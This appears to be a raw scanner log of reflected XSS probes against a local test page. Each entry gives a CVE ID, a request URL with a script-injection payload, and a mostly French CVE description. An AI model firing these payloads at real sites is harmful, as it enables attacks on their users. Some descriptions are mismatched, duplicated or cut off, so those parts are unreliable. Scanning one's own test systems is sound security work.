[CVE-2017-12794] [http] [medium] http://127.0.0.1/index.php/create_user/?page=repeater.php&username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E

Dans Django 1.10.x avant 1.10.8 et 1.11.x avant 1.11.5, l'échappement automatique HTML était désactivé dans une partie du modèle pour la page de débogage technique 500. Compte tenu des bonnes circonstances, cela a permis une attaque de script cross-site. Cette vulnérabilité ne devrait pas affecter la plupart des sites de production puisque vous ne devriez pas exécuter avec "DEBUG = True" (ce qui rend cette page accessible) dans vos paramètres de production.

[CVE-2017-17043] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php?page=repeater.php&post=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Le plugin Emag Marketplace Connector 1.0.0 pour WordPress a reflété XSS parce que le paramètre "post" de /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php n'est pas filtré correctement.

[CVE-2017-18536] [http] [medium] http://127.0.0.1/index.php/?page=repeater.php&author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Le plugin stop-user-enumeration avant 1.3.8 pour WordPress a XSS.

[CVE-2017-5631] [http] [medium] http://127.0.0.1/index.php/login.php?page=repeater.php&mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Un problème a été découvert dans KMCIS CaseAware. Le script intersite réfléchi est présent dans le paramètre utilisateur (par exemple, "usr") qui est transmis dans la chaîne de

requête login.php.

[CVE-2017-7391] [http] [medium] http://127.0.0.1/index.php/magmi/web/ajax_gettime.php?page=repeater.php&prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C

ACross-Site Scripting (XSS) a été découvert dans 'Magmi 0.7.22'. La vulnérabilité existe en raison d'une filtration insuffisante des données fournies par l'utilisateur (préfixe) passées à l'URL 'magmi-git-master/magmi/web/ajax_gettime.php'. Un attaquant pourrait exécuter du code HTML et de script arbitraire dans un navigateur dans le contexte du site Web vulnérable.

[CVE-2017-9288] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/raygun4wp/sendtesterror.php?page=repeater.php&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Le plugin Raygun4WP 1.8.0 pour WordPress est vulnérable à un XSS réfléchi dans sendtesterror.php (paramètre backurl).

[CVE-2018-10095] [http] [medium] http://127.0.0.1/index.php/dolibarr/adherents/cartes/carte.php?page=repeater.php&mode=cardlogin&foruserlogin=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&model=5160&optioncss=print

Cross-site scripting (XSS) vulnerability in Dolibarr before 7.0.2 allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php.

[CVE-2018-12998] [http] [medium] http://127.0.0.1/index.php/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?page=repeater.php&operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Vulnérabilité XSS (Cross-site scripting) dans Zoho ManageEngine Netflow Analyzer avant la construction 123137, Network Configuration Manager avant la construction 123128, OpManager avant la construction 123148, OpUtils avant la construction 123161, et Firewall Analyzer avant la compilation 123147 permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre 'operation' dans /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet.

[CVE-2018-12095] [http] [medium] http://127.0.0.1/index.php/cms/info.php?page=repeater.php&mod=list%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Une vulnérabilité web a été découverte dans l'application web OEcms v3.1. La vulnérabilité se trouve dans le paramètre mod de info.php.

[CVE-2018-13380] [http] [medium] http://127.0.0.1/index.php/message?page=repeater.php&title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B

Vulnérabilité ACross-site Scripting (XSS) dans Fortinet FortiOS 6.0.0 à 6.0.4, 5.6.0 à 5.6.7, 5.4.0 à 5.4.12, 5.2 et inférieur et Fortinet FortiProxy 2.0.0, 1.2.8 et ci-dessous sous le portail Web SSL VPN permet à l'attaquant d'exécuter un code de script malveillant non autorisé via les paramètres de gestion des erreurs ou des messages.

[CVE-2018-14013] [http] [medium] http://127.0.0.1/index.php/zimbra/h/search?page=repeater.php&si=1&so=0&sfi=4&st=message&csi=1&action&cso=0&id=%22%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Synacor Zimbra Collaboration Suite Collaboration before 8.8.11 a XSS dans les clients web AJAX et html.

[CVE-2018-13380] [http] [medium] http://127.0.0.1/index.php/remote/error?page=repeater.php&errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E

Vulnérabilité ACross-site Scripting (XSS) dans Fortinet FortiOS 6.0.0 à 6.0.4, 5.6.0 à 5.6.7, 5.4.0 à 5.4.12, 5.2 et inférieur et Fortinet FortiProxy 2.0.0, 1.2.8 et ci-dessous sous le portail Web SSL VPN permet à l'attaquant d'exécuter un code de script malveillant non autorisé via les paramètres de gestion des erreurs ou des messages.

[CVE-2018-18570] [http] [medium] http://127.0.0.1/index.php/wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?page=repeater.php&nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Planon avant Live Build 41 a XSS.

[CVE-2018-18775] [http] [medium] http://127.0.0.1/index.php/microstrategy7/Login.asp?page=repeater.php&Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/2WUAvRbMYrM5SSWtuyELQg3D1XW/)%3B%3C%2Fscript%3E%3C

Microstrategy Web, version 7, n'encode pas suffisamment les entrées contrôlées par l'utilisateur, ce qui entraîne une vulnérabilité XSS (Cross-Site Scripting) via le paramètre Login.asp Msg. REMARQUE : il s'agit d'un produit obsolète.

[CVE-2018-20462] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/jsmol2wp/php/jsmol.php?page=repeater.php&isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8

Un problème a été découvert dans le plugin JSmol2WP 1.07 pour WordPress. Une vulnérabilité de cross-site scripting (XSS) permet aux attaquants distants d'injecter un script web arbitraire ou du HTML via le paramètre jsmol.php.

[CVE-2018-8006] [http] [medium] http://127.0.0.1/index.php/admin/queues.jsp?page=repeater.php&QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68

Une instance d'une vulnérabilité de script intersite a été identifiée pour être présente dans la console d'administration Web sur la page queue.jsp des versions Apache ActiveMQ 5.0.0 à 5.15.5. La cause principale de ce problème est un filtrage incorrect des données du paramètre QueueFilter.

[CVE-2019-1010287] [http] [medium] http://127.0.0.1/index.php/timesheet/login.php?page=repeater.php

Timesheet Next Gen 1.5.3 et versions antérieures est affecté par : Cross Site Scripting (XSS). L'impact est : Permet à un attaquant d'exécuter du code HTML et JavaScript arbitraire via un paramètre "redirect". Le composant est : Formulaire de connexion Web : login.php, lignes 40 et 54. Le vecteur d'attaque est : XSS réfléchi, la victime peut cliquer sur l'URL malveillante.

[CVE-2019-10475] [http] [medium] http://127.0.0.1/index.php/plugin/build-metrics/getBuildStats?page=repeater.php&label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter&nodeFilteringType=ALL&nodeFilter&launcherFilteringType=ALL&launcherFilter&causeFilteringType=ALL&causeFilter&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search

Le plugin Jenkins build-metrics permet aux attaquants d'injecter du HTML et du JavaScript arbitraires dans les pages Web fournies par ce plugin.

[CVE-2019-12461] [http] [medium] http://127.0.0.1/index.php/log?page=repeater.php&type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E

Web Port 1.19.1 permet XSS via le paramètre /log type.

[CVE-2019-13392] [http] [medium] http://127.0.0.1/index.php/NateMail.php?page=repeater.php

Une vulnérabilité XSS (Cross-Site Scripting) dans MindPalette NateMail 3.0.15 permet à un attaquant d'exécuter du JavaScript à distance dans le navigateur d'une victime via une requête POST spécialement conçue. L'application reflétera la valeur du destinataire si elle n'est pas dans le tableau des destinataires NateMail. Notez que ce tableau est saisi via des entiers par défaut, donc toute entrée de chaîne sera invalide.

[CVE-2019-14470] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?page=repeater.php&error&error_description=%3Csvg/onload=alert(1)%3E

cosenary Instagram-PHP-API (alias Instagram PHP API V2), comme utilisé dans le plugin UserPro via 4.9.32 pour WordPress, a XSS via le paramètre example/success.php error_description.

[CVE-2019-15713] [http] [medium] http://127.0.0.1/index.php/?page=repeater.php&rsd=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Le plugin my-calendar avant 3.1.10 pour WordPress a XSS.

[CVE-2019-15889] [http] [medium] http://127.0.0.1/index.php/wpdmpro/list-packages/?page=repeater.php&orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc

Le plugin de gestionnaire de téléchargement avant 2.9.94 pour WordPress a XSS via la fonction de catégorie shortcode, comme démontré par le paramètre orderby ou search[publish_date].

[CVE-2019-16332] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?page=repeater.php&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Dans le plugin api-bearer-auth avant 20190907 pour WordPress, le paramètre serveur n'est pas correctement filtré dans le fichier swagger-config.yaml.php, et il est possible d'injecter du code JavaScript, alias XSS.

[CVE-2019-16525] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/checklist/images/checklist-icon.php?page=repeater.php&fill=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Un problème XSS a été découvert dans le plugin checklist avant 1.1.9 pour WordPress. Le paramètre de remplissage n'est pas correctement filtré dans le fichier checklist-icon.php, et il est possible d'injecter du code JavaScript.

[CVE-2019-3911] [http] [medium] http://127.0.0.1/index.php/__r2/query-printRows.view?page=repeater.php&schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL

La vulnérabilité XSS (cross-site scripting) dans LabKey Server Community Edition antérieure à 18.3.0-61806.763 permet à un attaquant distant non authentifié d'injecter du javascript arbitraire via le paramètre onerror dans les points de terminaison /__r2/query.

[CVE-2019-7543] [http] [medium] http://127.0.0.1/index.php/kindeditor/php/demo.php?page=repeater.php

Dans KindEditor 4.1.11, le paramètre php/demo.php content1 présente une vulnérabilité XSS (Cross-site Scripting).

[CVE-2019-9041] [http] [high] http://127.0.0.1/index.php/search/?page=repeater.php

Un problème a été découvert dans ZZZCMS zzzphp V1.6.1. Dans le fichier inc/zzz_template.php, le filtrage de la fonction parserIfLabel() n'est pas strict, ce qui entraîne l'exécution de code PHP, comme le démontre la sous-chaîne if:assert.

[CVE-2019-7543] [http] [medium] http://127.0.0.1/index.php/php/demo.php?page=repeater.php

Dans KindEditor 4.1.11, le paramètre php/demo.php content1 présente une vulnérabilité XSS (Cross-site Scripting).

[CVE-2020-13483] [http] [medium] http://127.0.0.1/index.php/bitrix/components/bitrix/mobileapp.list/ajax.php/?page=repeater.php&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&items%5BITEMS%5D%5BID%5D=<a+href="/">/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>

Le pare-feu d'application Web dans Bitrix24 à 20.0.0 permet XSS via le paramètre items[ITEMS][ID] aux composants /bitrix/mobileapp.list/ajax.php/ URI.

[CVE-2020-14413] [http] [medium] http://127.0.0.1/index.php/Devices-Config.php?page=repeater.php&sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
[addeventlistener-detect] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[apache-detect] [http] [info] http://127.0.0.1/index.php?page=repeater.php [Apache/2.4.57

(Debian)]
[php-detect] [http] [info] http://127.0.0.1/index.php?page=repeater.php [8.2.11]

NeDi 1.9C est vulnérable à XSS en raison d'une implémentation incorrecte de sanitize() dans inc/libmisc.php. Cette fonction tente d'échapper à la balise SCRIPT des valeurs contrôlables par l'utilisateur, mais peut être facilement contournée, comme le démontre un attribut onerror d'un élément IMG comme un Devices-Config.php? sta= valeur.

[CVE-2020-15500] [http] [medium] http://127.0.0.1/index.php/?page=repeater.php&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E

Un problème a été découvert dans server.js dans TileServer GL par 3.0.0. Le contenu du paramètre GET clé est reflété non anitisé dans une réponse HTTP pour la page principale de l'application, provoquant XSS reflété.

[CVE-2020-19282] [http] [medium] http://127.0.0.1/index.php/error?page=repeater.php&msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Une vulnérabilité XSS (cross-site scripting) dans Jeesns 1.4.2 permet aux attaquants d'exécuter des scripts web arbitraires ou HTML via une charge utile contrefaite dans le champ de texte du message d'erreur système.

[CVE-2020-19283] [http] [medium] http://127.0.0.1/index.php/newVersion?page=repeater.php&callback=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Une vulnérabilité XSS (cross-site scripting) dans le composant /newVersion de Jeesns 1.4.2 permet aux attaquants d'exécuter des scripts web ou HTML arbitraires.

[CVE-2020-1943] [http] [medium] http://127.0.0.1/index.php/control/stream?page=repeater.php&contentId=%27\%22%3E%3Csvg/onload=alert(/xss/)%3E

Les données envoyées avec contentId à /control/stream ne sont pas épurées, ce qui permet des attaques XSS dans Apache OFBiz 16.11.01 à 16.11.07.

[CVE-2020-2140] [http] [medium] http://127.0.0.1/index.php/descriptorByName/AuditTrailPlugin/regexCheck?page=repeater.php&value=*j%3Ch1%3Esample

Jenkins Audit Trail Plugin 3.2 et versions antérieures n'échappe pas au message d'erreur pour la validation du formulaire de champ URL Patterns, ce qui entraîne une vulnérabilité de script intersite.

[CVE-2020-24223] [http] [medium] http://127.0.0.1/index.php/contact.php?page=repeater.php&theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%

3E

Mara CMS 7.5 permet le cross-site scripting (XSS) dans contact.php via le thème ou les paramètres pagetheme.

[CVE-2020-2140] [http] [medium] http://127.0.0.1/index.php/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?page=repeater.php&value=*j%3Ch1%3Esample

Jenkins Audit Trail Plugin 3.2 et versions antérieures n'échappe pas au message d'erreur pour la validation du formulaire de champ URL Patterns, ce qui entraîne une vulnérabilité de script intersite.

[CVE-2020-25495] [http] [medium] http://127.0.0.1/index.php/cgi-bin/manlist?page=repeater.php§ion=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/2WUAvUNG1bdTfuQ5ivpgHxijE88/)%3C%2Fscript%3E

La vulnérabilité Cross-site scripting (XSS) de Xinuo (anciennement SCO) Openserver version 5 et 6 permet aux attaquants distants d'injecter un script Web arbitraire ou une balise HTML via le paramètre 'section'.

[CVE-2020-27982] [http] [medium] http://127.0.0.1/index.php/webmail/?page=repeater.php&language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

IceWarp 11.4.5.0 permet XSS via le paramètre language.

[CVE-2020-29395] [http] [medium] http://127.0.0.1/index.php/addons/?page=repeater.php&q=%3Csvg%2Fonload%3Dalert(1)%3E

Le plugin EventON à travers 3.0.5 pour WordPress permet addons /? q= XSS via le champ de recherche.

[CVE-2020-35774] [http] [medium] http://127.0.0.1/index.php/admin/histograms?page=repeater.php&h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true

server/handler/HistogramQueryHandler.scala dans Twitter TwitterServer (alias twitter-server) avant 20.12.0, dans certaines configurations, autorise XSS via le point de terminaison /histogrammes.

[CVE-2020-3580] [http] [medium] http://127.0.0.1/index.php/+CSCOE+/saml/sp/acs?page=repeater.php&tgname=a

Plusieurs vulnérabilités dans l'interface des services Web du logiciel Cisco Adaptive Security Appliance (ASA) et du logiciel Cisco Firepower Threat Defense (FTD) pourraient permettre à un attaquant distant non authentifié de réaliser des scripts intersites (XSS) attaques contre un utilisateur de l'interface de services Web d'un appareil affecté. Les vulnérabilités sont dues à une validation insuffisante de l'entrée fournie par l'utilisateur par l'interface des

services Web d'un périphérique affecté. Un attaquant pourrait exploiter ces vulnérabilités en persuadant un utilisateur de l'interface de cliquer sur un lien contrefait. Une exploitation réussie pourrait permettre à l'attaquant d'exécuter du code de script arbitraire dans le contexte de l'interface ou permettre à l'attaquant d'accéder à des informations sensibles basées sur le navigateur. Remarque : Ces vulnérabilités n'affectent que les configurations spécifiques d'AnyConnect et de WebVPN. Pour plus d'informations, consultez la section Produits vulnérables.

[CVE-2020-36510] [http] [medium] http://127.0.0.1/index.php/wp-admin/admin-ajax.php?page=repeater.php&action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Le thème WordPress 15Zine avant la version 3.3.0 ne nettoie pas et n'échappe pas le paramètre cbi avant de le renvoyer dans la réponse via l'action cb_s_a AJAX, ce qui conduit à un script cross-site réfléchi

[CVE-2020-6171] [http] [medium] http://127.0.0.1/index.php?page=repeater.php&lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1

La vulnérabilité XSS (Across-site scripting) dans la page d'index de la console de gestion CLink Office 2.0 permet aux attaquants distants d'injecter un script Web ou HTML arbitraire via le paramètre lang.

[CVE-2020-8191] [http] [medium] http://127.0.0.1/index.php/menu/stapp?page=repeater.php

Une validation incorrecte des entrées dans les versions Citrix ADC et Citrix Gateway antérieures aux versions 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 et 10.5-70.18 et Citrix SDWAN WAN-OP antérieures aux versions 11.1.1a, 11.0.3d et 10.2.7 autorise le Cross Site Scripting (XSS) réfléchi.

[CVE-2021-24245] [http] [medium] http://127.0.0.1/index.php/wp-login.php?page=repeater.php

Le plugin WordPress Stop Spammers avant 2021.9 n'échappait pas à l'entrée de l'utilisateur lors du blocage des demandes (comme la correspondance d'un mot spam), en le diffusant dans un attribut après l'avoir vérifié pour supprimer les balises HTML, ce qui n'est pas suffisant et entraîne un problème de script intersite.

[CVE-2021-24298] [http] [medium] http://127.0.0.1/index.php/giveaway/mygiveaways/?page=repeater.php&share=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La méthode et les paramètres de partage GET des pages Giveaway n'ont pas été nettoyés, validés ou échappés avant d'être renvoyés dans les pages, ce qui a conduit à une XSS réfléchie

[CVE-2021-24335] [http] [medium] http://127.0.0.1/index.php/car1/estimateresult/result?page=repeater.php&s&serviceestimatekey=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

La méthode et les paramètres de partage GET des pages Giveaway n'ont pas été nettoyés, validés ou échappés avant d'être renvoyés dans les pages, ce qui a conduit à une XSS réfléchie

[CVE-2021-24320] [http] [medium] http://127.0.0.1/index.php/listing/?page=repeater.php&listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Le thème WordPress Bello - Directory & Listing avant 1.6.0 n'a pas correctement nettoyé et échappé à son listing_list_view, bt_bb_listing_ield_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameter in ints listing page, ce qui entraîne des problèmes de script intersite.

[CVE-2021-24342] [http] [medium] http://127.0.0.1/index.php/?page=repeater.php&ajax-request=jnews

Le thème WordPress JNews avant la version 8.0.6 n'a pas vérifié le paramètre cat*id dans la requête POST /?ajax-request=jnews (avec action=jnews_build_mega_category**), ce qui a entraîné un problème XSS.

[CVE-2021-24364] [http] [medium] http://127.0.0.1/index.php/wp-admin/admin-ajax.php?page=repeater.php&action=tie_get_user_weather&options=%7B%27location%27%3A%27Cairo%27%2C%27units%27%3A%27C%27%2C%27forecast_days%27%3A%275%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ecustom_name%27%3A%27Cairo%27%2C%27animated%27%3A%27true%27%7D

Le thème WordPress Jannah avant la version 5.4.4 n'a pas correctement nettoyé le paramètre JSON des options dans son action tie_get_user_weather AJAX avant de le renvoyer dans la page, ce qui a entraîné une vulnérabilité XSS (Reflected Cross-Site Scripting).

[CVE-2021-24389] [http] [medium] http://127.0.0.1/index.php/listings/?page=repeater.php&search_title&location&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Le plugin WordPress WP Foodbakery avant 2.2, utilisé dans le thème WordPress FoodBakery avant 2.2, n'a pas correctement désinfecté le paramètre foodbakery_radius avant de le renvoyer dans la réponse, entraînant une vulnérabilité XSS (Reflected Cross-Site Scripting) non authentifiée.

[CVE-2021-24407] [http] [medium] http://127.0.0.1/index.php/wp-admin/admin-ajax.php?page=repeater.php

Le thème WordPress Jannah avant la version 5.4.5 n'a pas correctement nettoyé le paramètre 'query' POST dans son action tie_ajax_search AJAX, entraînant une vulnérabilité XSS (Reflected Cross-site Scripting).

[CVE-2021-26247] [http] [medium] http://127.0.0.1/index.php/auth_changepassword.php?page=repeater.php&ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E

En tant qu'utilisateur distant non authentifié, visitez "http://<CACTI_SERVER>/auth_changepassword.php? ref=" pour exécuter avec succès la charge utile JavaScript présente dans le paramètre URL "r

[CVE-2021-26723] [http] [medium] http://127.0.0.1/index.php/ics?page=repeater.php&tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

Jenzabar 9.2.x à 9.2.2 permet /ics? tool=search&query= XSS.

[CVE-2021-26710] [http] [medium] http://127.0.0.1/index.php/r2w/signIn.do?page=repeater.php&urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

Le problème de script intersite (XSS) dans le panneau de connexion de Redwood Report2Web 4.3.4.5 et 4.5.3 permet aux attaquants distants d'injecter du JavaScript via le paramètre signIn.do.

[CVE-2021-26475] [http] [medium] http://127.0.0.1/index.php/cgi/cal?page=repeater.php&year=2021%3C/title%3E%3Cscript%3Ealert(%272WUAvRNchvaEq5ut8Dq2tRuFQWi%27)%3C/script%3E

EPrints 3.4.2 expose une opportunité XSS réfléchie dans le via un URI cgi/cal.

[CVE-2021-26702] [http] [medium] http://127.0.0.1/index.php/cgi/dataset_dictionary?page=repeater.php&dataset=zulu%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

EPrints 3.4.2 expose une opportunité XSS réfléchie dans le paramètre dataset à l'URI cgi/dataset_dictionary.

[CVE-2021-27310] [http] [medium] http://127.0.0.1/index.php/clansphere/mods/clansphere/lang_modvalidate.php?page=repeater.php&language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module

Clansphere CMS 2011.4 permet une XSS réfléchie non authentifiée via le paramètre "langue".

[CVE-2021-29625] [http] [medium] http://127.0.0.1/index.php/?page=repeater.php&server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Adminer est un logiciel de gestion de base de données open-source. Une vulnérabilité de script intersite dans les versions Adminer 4.6.1 à 4.8.0 affecte les utilisateurs de MySQL, MariaDB, PgSQL et SQLite. XSS est dans la plupart des cas empêché par CSP strict dans tous les navigateurs modernes. La seule exception est lorsque l'administrateur utilise une extension `pdo__ pour communiquer avec la base de données (elle est utilisée si les extensions natives ne sont pas activées). Dans les navigateurs sans CSP, les versions Adminer 4.6.1 à 4.8.0 sont affectées. La vulnérabilité est corrigée dans la version 4.8.1. Comme solution de contournement, on peut utiliser un navigateur prenant en charge un CSP strict ou activer les extensions PHP natives (par ex. «mysqli») ou désactiver l'affichage des erreurs PHP («display_errors»).

[CVE-2021-30049] [http] [medium] http://127.0.0.1/index.php/KeepAlive.jsp?page=repeater.php&stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

SysAid 20.3.64 b14 est affecté par Cross Site Scripting (XSS) via un /KeepAlive.jsp? stamp= URI.

[CVE-2021-30213] [http] [medium] http://127.0.0.1/index.php/knowage/servlet/AdapterHTTP?page=repeater.php&Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Knowage Suite 7.3 est vulnérable aux scripts croisés (XSS) non authentifiés. Un attaquant peut injecter un script web arbitraire dans '/servlet/AdapterHTTP' via le paramètre 'targetService'.

[CVE-2021-31250] [http] [medium] http://127.0.0.1/index.php/if.cgi?page=repeater.php&redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%282WUAvhWAYkZTRaXuoz82RtzjZmP%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY

Plusieurs vulnérabilités XSS de stockage ont été découvertes sur les périphériques BF-430, BF-431 et BF-450M TCP/IP Converter de CHIYU Technology Inc en raison d'un manque de nettoyage des entrées sur les composants man.cgi, if.cgi, dhcpc.cgi, ppp.cgi.

[CVE-2021-33904] [http] [medium] http://127.0.0.1/index.php/security/hostSignon.do?page=repeater.php&hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9

Dans Accela Civic Platform jusqu'à 21.1, le paramètre security/hostSignon.do servProvCode est vulnérable à XSS. REMARQUE : Le fournisseur déclare "il existe des indicateurs de sécurité configurables et nous ne sommes pas en mesure de les reproduire avec les informations disponibles."

[CVE-2021-38704] [http] [medium] http://127.0.0.1/index.php/cliniccases/lib/php/data/messages_load.php?page=repeater.php&type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Plusieurs vulnérabilités XSS (cross-site scripting) dans ClinicCases 7.3.3 permettent aux attaquants non authentifiés d'introduire du JavaScript arbitraire en créant une URL malveillante. Cela peut entraîner une prise de contrôle du compte via un vol de jeton de session.

[CVE-2021-38702] [http] [medium] http://127.0.0.1/index.php/tweb/ft.php?page=repeater.php&u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Les appareils Cyberoam NetGenie C0101B1-20141120-NG11VO jusqu'en 2021-08-14 autorisent les attaques tweb/ft.php? u=[XSS].

[CVE-2021-40542] [http] [medium] http://127.0.0.1/index.php/Ajax_url_encode.php?page=repeater.php&link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Opensis-Classic Version 8.0 est affecté par le cross-site scripting (XSS). Un utilisateur non authentifié peut injecter et exécuter du code JavaScript via le paramètre link_url dans Ajax_url_encode.php.

[CVE-2021-40868] [http] [medium] http://127.0.0.1/index.php/login.html?page=repeater.php&returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Dans Cloudron 6.2, le paramètre returnTo sur la page de connexion est vulnérable à Reflected XSS.

